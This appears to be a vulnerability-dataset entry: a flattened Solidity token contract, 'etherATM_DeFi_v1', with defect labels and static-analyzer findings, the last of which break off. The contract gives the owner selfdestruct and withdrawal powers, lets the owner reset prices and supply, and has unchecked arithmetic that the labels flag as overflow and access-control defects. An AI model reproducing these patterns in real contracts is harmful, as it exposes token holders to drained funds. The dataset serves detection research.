* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.7.0;
/**
* @dev Implementation of the {IERC20} interface.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity ^0.7.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address payable) {
return address(uint160(_owner));
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: eth-token-recover/contracts/TokenRecover.sol
pragma solidity ^0.7.0;
/**
* @title TokenRecover
* @dev Allow to recover any ERC20 sent into the contract for error
*/
contract TokenRecover is Ownable {
/**
* @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
* @param tokenAddress The token contract address
* @param tokenAmount Number of tokens to be sent
*/
function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
// File: contracts/service/ServiceReceiver.sol
pragma solidity ^0.7.0;
/**
* @title ServiceReceiver
* @dev Implementation of the ServiceReceiver
*/
contract ServiceReceiver is TokenRecover {
mapping (bytes32 => uint256) private _prices;
event Created(string serviceName, address indexed serviceAddress);
function pay(string memory serviceName) public payable {
require(msg.value == _prices[_toBytes32(serviceName)], "ServiceReceiver: incorrect price");
emit Created(serviceName, _msgSender());
}
function getPrice(string memory serviceName) public view returns (uint256) {
return _prices[_toBytes32(serviceName)];
}
function setPrice(string memory serviceName, uint256 amount) public onlyOwner {
_prices[_toBytes32(serviceName)] = amount;
}
function withdraw(uint256 amount) public onlyOwner {
payable(owner()).transfer(amount);
}
function _toBytes32(string memory serviceName) private pure returns (bytes32) {
return keccak256(abi.encode(serviceName));
}
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.7.0;
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
ServiceReceiver(receiver).pay{value: msg.value}(serviceName);
}
}
pragma solidity ^0.7.0;
/**
* @title etherATM-DeFi
*/
contract etherATM_DeFi_v1 is ERC20, Ownable {
using SafeMath for uint256;
using Address for address;
event Reserved(address indexed from, uint256 value);
uint256 private _currentSupply = 0;
uint256 private _softLimit = 99999000000000000000000;
uint256 private _hardLimit = 99999000000000000000000;
uint256 private _baseSlab = 0;
uint256 private _basePriceWei = 16000000000000000;
uint256 private _incrementWei = 666700000000;
uint256 private _buyFee = 50;
uint256 private _buyCommission = 4500;
uint256 private _sellCommission = 5000;
uint256 private _maxHolding = 1100000000000000000000; //in EATM
uint256 private _maxSellBatch = 1100000000000000000000; //in EATM
address payable _commissionReceiver;
address payable _feeReceiver;
constructor (
string memory name,
string memory symbol,
uint8 decimals,
address payable commissionReceiver,
address payable feeReceiver
) ERC20(name, symbol) payable {
_setupDecimals(decimals);
_commissionReceiver = commissionReceiver;
_feeReceiver = feeReceiver;
}
function percent(uint numerator, uint denominator, uint precision) public pure returns(uint quotient) {
// caution, check safe-to-multiply here
uint _numerator = numerator * 10 ** (precision+1);
// with rounding of last digit
uint _quotient = ((_numerator / denominator) + 5) / 10;
return ( _quotient);
}
receive() external payable{
emit Reserved(msg.sender, msg.value);
}
function setIncrement(uint256 increment) external onlyOwner(){
_incrementWei = increment;
}
function getIncrement() public view returns (uint256){
return _incrementWei;
}
function getHardLimit() public view returns (uint256){
return _hardLimit;
}
function getSoftLimit() public view returns (uint256){
return _softLimit;
}
function setMaxHolding(uint256 limit) external onlyOwner(){
_maxHolding = limit;
}
function getMaxHolding() public view returns (uint256){
return _maxHolding;
}
function setMaxSellBatch(uint256 limit) external onlyOwner(){
_maxSellBatch = limit;
}
function getMaxSellBatch() public view returns (uint256){
return _maxSellBatch;
}
function setCommissionReceiver(address payable rec) external onlyOwner(){
_commissionReceiver = rec;
}
function getCommissionReceiver() public view returns (address){
return _commissionReceiver;
}
function setFeeReceiver(address payable rec) external onlyOwner(){
_feeReceiver = rec;
}
function getFeeReceiver() public view returns (address){
return _feeReceiver;
}
function getCurrentSupply() public view returns (uint256){
return _currentSupply;
}
function setCurrentSupply(uint256 cs) external onlyOwner(){
_currentSupply = cs * 1 ether;
}
function getBaseSlab() public view returns (uint256){
return _baseSlab;
}
function setBaseSlab(uint256 bs) external onlyOwner(){
_baseSlab = bs * 1 ether;
}
function getBasePrice() public view returns (uint256){
return _basePriceWei;
}
function getBuyFee() public view returns (uint256){
return _buyFee;
}
function getBuyCommission() public view returns (uint256){
return _buyCommission;
}
function getSellCommission() public view returns (uint256){
return _sellCommission;
}
function setBuyCommission(uint256 bc) external onlyOwner(){
_buyCommission = bc;
}
function setBuyFee(uint256 bf) external onlyOwner(){
_buyFee = bf;
}
function setSellCommission(uint256 sc) external onlyOwner(){
_sellCommission = sc;
}
function setBasePrice(uint256 bp) external onlyOwner(){
_basePriceWei = bp;
}
function updateSlabs(uint256 bs, uint256 bp, uint256 increment) external onlyOwner(){
_basePriceWei = bp;
_baseSlab = bs * 1 ether;
_incrementWei = increment;
}
function getCurrentPrice() public view returns (uint256){
uint256 additionalTokens = _currentSupply.sub( _baseSlab, "An error has occurred");
uint256 increment = ((additionalTokens * _incrementWei) / 1 ether);
uint256 price = _basePriceWei.add(increment);
return price;
}
function transferTo(address to, uint256 value, bool convert_to_wei) internal {
require(to != address(0), "etherATM: transfer to zero address");
deploy(to, value, convert_to_wei);
}
function transferTo(address to, uint256 value) internal {
require(to != address(0), "etherATM: transfer to zero address");
deploy(to, value);
}
function deploy(address to, uint256 value) internal {
value = value * 1 ether;
require((_currentSupply + value ) < _hardLimit , "Max supply reached");
require((balanceOf(to) + value ) < _maxHolding , "You cannot hold more EATM" );
_mint(to, value);
_currentSupply = _currentSupply.add(value);
}
function deploy(address to, uint256 value, bool convert_to_wei) internal {
if(convert_to_wei)
value = value * 1 ether;
require((_currentSupply + value ) < _hardLimit , "Max supply reached");
require((balanceOf(to) + value ) < _maxHolding , "You cannot hold more EATM" );
_mint(to, value);
_currentSupply = _currentSupply.add(value);
}
function assassination() external onlyOwner() {
selfdestruct(owner());
}
function clean(uint256 _amount) external onlyOwner(){
require(address(this).balance > _amount, "Invalid digits");
owner().transfer(_amount);
}
function buyTokens() external payable{
uint256 value = msg.value;
uint256 price = getCurrentPrice();
uint256 tokens = uint256(value.div(price)) ;
uint256 token_wei = tokens * 1 ether;
//reduce tokens by BUY_FEE
uint256 fee = uint256((token_wei * _buyFee ) / 10000 );
uint256 commission = uint256((token_wei * _buyCommission ) / 100000 );
token_wei = token_wei.sub((fee + commission), "Calculation error");
require(balanceOf(_msgSender()) + token_wei < _maxHolding, "etherATM: You cannot buy more tokens");
transferTo(_msgSender(), token_wei, false);
transferTo(_commissionReceiver, commission , false);
transferTo(_feeReceiver, fee, false);
}
function sellTokens(uint256 amount) external {
amount = amount * 1 ether;
require(balanceOf(_msgSender()) >= amount, "etherATM: recipient account doesn't have enough balance");
require(amount <= _maxSellBatch, "etherATM: invalid sell quantity" );
_currentSupply = _currentSupply.sub(amount, "Base reached");
//reduce tokens by SELL_COMMISSION
uint256 commission = uint256((amount * _sellCommission ) / 100000 );
amount = amount.sub((commission), "Calculation error");
uint256 wei_value = ((getCurrentPrice() * amount) / 1 ether);
require(address(this).balance >= wei_value, "etherATM: invalid digits");
_burn(_msgSender(), (amount + commission));
transferTo(_commissionReceiver, commission, false);
_msgSender().transfer(wei_value);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["780", "816", "1091"]}, {"defect": "Transaction_order_dependency", "type": "Business_logic", "severity": "Medium", "lines": ["1051"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["795"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["749", "722", "737"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["955", "1034", "963", "999", "1023", "1067", "1078", "897", "895", "1005", "1064", "1061", "1065", "1086", "1084"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [297]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [396, 397, 398, 399]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [862]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [861]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [192, 193, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [320, 321, 322, 323, 317, 318, 319]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [368, 369, 370]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [1016, 1017, 1018, 1019, 1020]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [259, 260, 261, 262]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [378, 379, 380, 381]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [20, 21, 22, 23]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [243, 244, 245]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 383]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [1024, 1025, 1026, 1027, 1028, 1029, 1030, 1022, 1023]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [290, 291, 292, 293, 294, 295, 296, 297, 298, 299]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [353, 354, 355]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [344, 345, 343]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [811, 812, 813]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [909, 910, 911]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [536, 537, 538, 539, 540]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [816, 817, 815]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [970, 971, 972]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [978, 979, 980]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [744, 745, 746, 747]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [801, 802, 803, 804, 805]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [976, 974, 975]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [474, 475, 476]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [917, 918, 919]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [808, 809, 807]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [945, 946, 947]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [576, 573, 574, 575]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [952, 950, 951]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [457, 458, 459]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [500, 501, 502, 503]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [554, 555, 556, 557]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [968, 966, 967]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [753, 754, 755, 756, 757]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [449, 450, 451]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [913, 914, 915]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [924, 925, 926]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [481, 482, 483]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [520, 521, 522, 519]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [960, 958, 959]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [931, 932, 933]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [896, 897, 898, 899, 892, 893, 894, 895]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [938, 939, 940]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [779, 780, 781]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [508, 509, 510]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [694]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [107]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [788]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [267]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [764]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [410]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [828]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [27]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [844]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [474, 475, 476]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [457, 458, 459]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [449, 450, 451]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [387]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [321]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [929]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [990]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [994]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [907]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [963]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [983]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [955]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [1000]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [922]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [986]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [888]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [887]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [936]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [943]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [1010]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [876]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [1032]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [875]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [1048]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"etherATM_DeFi_v1.sol": [15, 16, 17, 18, 19, 20, 21, 22, 23, 24]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [1084]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [867]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [873]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [862]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [1065]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": 